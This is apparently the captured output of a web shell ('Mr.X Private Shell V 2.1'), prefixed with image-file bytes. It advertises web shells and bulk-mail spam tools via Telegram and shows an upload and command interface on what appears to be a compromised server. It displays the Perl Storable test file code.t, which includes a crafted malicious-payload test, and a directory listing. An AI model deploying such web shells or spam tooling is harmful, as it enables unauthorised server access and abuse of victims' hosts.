����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

deexcl@216.73.217.71: ~ $ 
#!./perl
#
#  Copyright (c) 2002 Slaven Rezic
#
#  You may redistribute only under the same terms as Perl 5, as specified
#  in the README file that comes with the distribution.
#

sub BEGIN {
    unshift @INC, 't';
    unshift @INC, 't/compat' if $] < 5.006002;
    require Config; import Config;
    if ($ENV{PERL_CORE} and $Config{'extensions'} !~ /\bStorable\b/) {
        print "1..0 # Skip: Storable was not built\n";
        exit 0;
    }
}

use strict;
BEGIN {
    if (!eval q{
	use Test::More;
	use B::Deparse 0.61;
	use 5.006;
	1;
    }) {
	print "1..0 # skip: tests only work with B::Deparse 0.61 and at least perl 5.6.0\n";
	exit;
    }
    require File::Spec;
    if ($File::Spec::VERSION < 0.8) {
	print "1..0 # Skip: newer File::Spec needed\n";
	exit 0;
    }
}

BEGIN { plan tests => 63 }

use Storable qw(retrieve store nstore freeze nfreeze thaw dclone);
use Safe;

#$Storable::DEBUGME = 1;

our ($freezed, $thawed, @obj, @res, $blessed_code);

$blessed_code = bless sub { "blessed" }, "Some::Package";
{ package Another::Package; sub foo { __PACKAGE__ } }

{
    no strict; # to make the life for Safe->reval easier
    sub code { "JAPH" }
}

local *FOO;

@obj =
    ([\&code,                   # code reference
      sub { 6*7 },
      $blessed_code,            # blessed code reference
      \&Another::Package::foo,  # code in another package
      sub ($$;$) { 0 },         # prototypes
      sub { print "test\n" },
      \&Storable::_store,       # large scalar
     ],

     {"a" => sub { "srt" }, "b" => \&code},

     sub { ord("a")-ord("7") },

     \&code,

     \&dclone,                 # XS function

     sub { open FOO, '<', "/" },
    );

$Storable::Deparse = 1;
$Storable::Eval    = 1;

######################################################################
# Test freeze & thaw

$freezed = freeze $obj[0];
$thawed  = thaw $freezed;

is($thawed->[0]->(), "JAPH");
is($thawed->[1]->(), 42);
is($thawed->[2]->(), "blessed");
is($thawed->[3]->(), "Another::Package");
is(prototype($thawed->[4]), prototype($obj[0]->[4]));

######################################################################

$freezed = freeze $obj[1];
$thawed  = thaw $freezed;

is($thawed->{"a"}->(), "srt");
is($thawed->{"b"}->(), "JAPH");

######################################################################

$freezed = freeze $obj[2];
$thawed  = thaw $freezed;

is($thawed->(), (ord "A") == 193 ? -118 : 42);

######################################################################

$freezed = freeze $obj[3];
$thawed  = thaw $freezed;

is($thawed->(), "JAPH");

######################################################################

eval { $freezed = freeze $obj[4] };
like($@, qr/The result of B::Deparse::coderef2text was empty/);

######################################################################
# Test dclone

my $new_sub = dclone($obj[2]);
is($new_sub->(), $obj[2]->());

######################################################################
# Test retrieve & store

store $obj[0], "store$$";
# $Storable::DEBUGME = 1;
$thawed = retrieve "store$$";

is($thawed->[0]->(), "JAPH");
is($thawed->[1]->(), 42);
is($thawed->[2]->(), "blessed");
is($thawed->[3]->(), "Another::Package");
is(prototype($thawed->[4]), prototype($obj[0]->[4]));

######################################################################

nstore $obj[0], "store$$";
$thawed = retrieve "store$$";
unlink "store$$";

is($thawed->[0]->(), "JAPH");
is($thawed->[1]->(), 42);
is($thawed->[2]->(), "blessed");
is($thawed->[3]->(), "Another::Package");
is(prototype($thawed->[4]), prototype($obj[0]->[4]));

######################################################################
# Security with
#   $Storable::Eval
#   $Storable::Deparse

{
    local $Storable::Eval = 0;

    for my $i (0 .. 1) {
	$freezed = freeze $obj[$i];
	$@ = "";
	eval { $thawed  = thaw $freezed };
	like($@, qr/Can\'t eval/);
    }
}

{

    local $Storable::Deparse = 0;
    for my $i (0 .. 1) {
	$@ = "";
	eval { $freezed = freeze $obj[$i] };
	like($@, qr/Can\'t store CODE items/);
    }
}

{
    local $Storable::Eval = 0;
    local $Storable::forgive_me = 1;
    for my $i (0 .. 4) {
	$freezed = freeze $obj[0]->[$i];
	$@ = "";
	eval { $thawed  = thaw $freezed };
	is($@, "");
	like($$thawed, qr/^sub/);
    }
}

{
    local $Storable::Deparse = 0;
    local $Storable::forgive_me = 1;

    my $devnull = File::Spec->devnull;

    open(SAVEERR, ">&STDERR");
    open(STDERR, '>', $devnull) or
	( print SAVEERR "Unable to redirect STDERR: $!\n" and exit(1) );

    eval { $freezed = freeze $obj[0]->[0] };

    open(STDERR, ">&SAVEERR");

    is($@, "");
    isnt($freezed, '');
}

{
    my $safe = new Safe;
    local $Storable::Eval = sub { $safe->reval(shift) };

    $freezed = freeze $obj[0]->[0];
    $@ = "";
    eval { $thawed = thaw $freezed };
    is($@, "");
    is($thawed->(), "JAPH");

    $freezed = freeze $obj[0]->[6];
    eval { $thawed = thaw $freezed };
    # The "Code sub ..." error message only appears if Log::Agent is installed
    like($@, qr/(trapped|Code sub)/);

    if (0) {
	# Disable or fix this test if the internal representation of Storable
	# changes.
	skip("no malicious storable file check", 1);
    } else {
	# Construct malicious storable code
	$freezed = nfreeze $obj[0]->[0];
	my $bad_code = ';open FOO, "/badfile"';
	# 5th byte is (short) length of scalar
	my $len = ord(substr($freezed, 4, 1));
	substr($freezed, 4, 1, chr($len+length($bad_code)));
	substr($freezed, -1, 0, $bad_code);
	$@ = "";
	eval { $thawed = thaw $freezed };
	like($@, qr/(trapped|Code sub)/);
    }
}

{
    my $safe = new Safe;
    # because of opcodes used in "use strict":
    $safe->permit(qw(:default require caller));
    local $Storable::Eval = sub { $safe->reval(shift) };

    $freezed = freeze $obj[0]->[1];
    $@ = "";
    eval { $thawed = thaw $freezed };
    is($@, "");
    is($thawed->(), 42);
}

{
    {
	package MySafe;
	sub new { bless {}, shift }
	sub reval {
	    my $source = $_[1];
	    # Here you can apply some nifty regexpes to ensure the
	    # safeness of the source code.
	    my $coderef = eval $source;
	    $coderef;
	}
    }

    my $safe = new MySafe;
    local $Storable::Eval = sub { $safe->reval($_[0]) };

    $freezed = freeze $obj[0];
    eval { $thawed  = thaw $freezed };
    is($@, "");

    if ($@ ne "") {
        fail() for (1..5);
    } else {
	is($thawed->[0]->(), "JAPH");
	is($thawed->[1]->(), 42);
	is($thawed->[2]->(), "blessed");
	is($thawed->[3]->(), "Another::Package");
	is(prototype($thawed->[4]), prototype($obj[0]->[4]));
    }
}

{
    # Check internal "seen" code
    my $short_sub = sub { "short sub" }; # for SX_SCALAR
    # for SX_LSCALAR
    my $long_sub_code = 'sub { "' . "x"x255 . '" }';
    my $long_sub = eval $long_sub_code; die $@ if $@;
    my $sclr = \1;

    local $Storable::Deparse = 1;
    local $Storable::Eval    = 1;

    for my $sub ($short_sub, $long_sub) {
	my $res;

	$res = thaw freeze [$sub, $sub];
	is(int($res->[0]), int($res->[1]));

	$res = thaw freeze [$sclr, $sub, $sub, $sclr];
	is(int($res->[0]), int($res->[3]));
	is(int($res->[1]), int($res->[2]));

	$res = thaw freeze [$sub, $sub, $sclr, $sclr];
	is(int($res->[0]), int($res->[1]));
	is(int($res->[2]), int($res->[3]));
    }

}

{
    my @text = ("hello", "\x{a3}", "\x{a3} \x{2234}", "\x{2234}\x{2234}");

    for my $text(@text) {
        my $res = (thaw freeze eval "sub {'" . $text . "'}")->();
        ok($res eq $text);
    }
}

Filemanager

DIR : / home/ .cpan/ build/ Storable-3.25-0/ t/
Name Type Size Permission Actions
CVE-2015-1592.t File 534 B 0644
HAS_ATTACH.pm File 121 B 0644
HAS_HOOK.pm File 82 B 0644
HAS_OVERLOAD.pm File 185 B 0644
attach.t File 1007 B 0644
attach_errors.t File 6.64 KB 0644
attach_singleton.t File 2.5 KB 0644
blessed.t File 10.52 KB 0644
canonical.t File 3.46 KB 0644
circular_hook.t File 1.98 KB 0644
code.t File 7.29 KB 0644
compat01.t File 1.15 KB 0644
compat06.t File 3.25 KB 0644
croak.t File 949 B 0644
dclone.t File 2.28 KB 0644
destroy.t File 366 B 0644
downgrade.t File 15.76 KB 0644
file_magic.t File 13.23 KB 0644
flags.t File 2.32 KB 0644
forgive.t File 1.52 KB 0644
freeze.t File 2.55 KB 0644
huge.t File 3.22 KB 0644
hugeids.t File 7.61 KB 0644
integer.t File 5.81 KB 0644
interwork56.t File 5.95 KB 0644
just_plain_nasty.t File 4.29 KB 0644
leaks.t File 845 B 0644
lock.t File 1.01 KB 0644
make_56_interwork.pl File 1.45 KB 0644
make_downgrade.pl File 2.09 KB 0644
make_overload.pl File 177 B 0644
malice.t File 10.33 KB 0644
overload.t File 2.08 KB 0644
recurse.t File 7.92 KB 0644
regexp.t File 3.66 KB 0644
restrict.t File 3.49 KB 0644
retrieve.t File 3.02 KB 0644
robust.t File 309 B 0644
sig_die.t File 734 B 0644
st-dump.pl File 3.35 KB 0644
store.t File 3.25 KB 0644
testlib.pl File 863 B 0644
threads.t File 1.93 KB 0644
tied.t File 4.15 KB 0644
tied_hook.t File 4.63 KB 0644
tied_items.t File 1.11 KB 0644
tied_reify.t File 621 B 0644
tied_store.t File 924 B 0644
utf8.t File 1.17 KB 0644
utf8hash.t File 5.31 KB 0644
weak.t File 3.72 KB 0644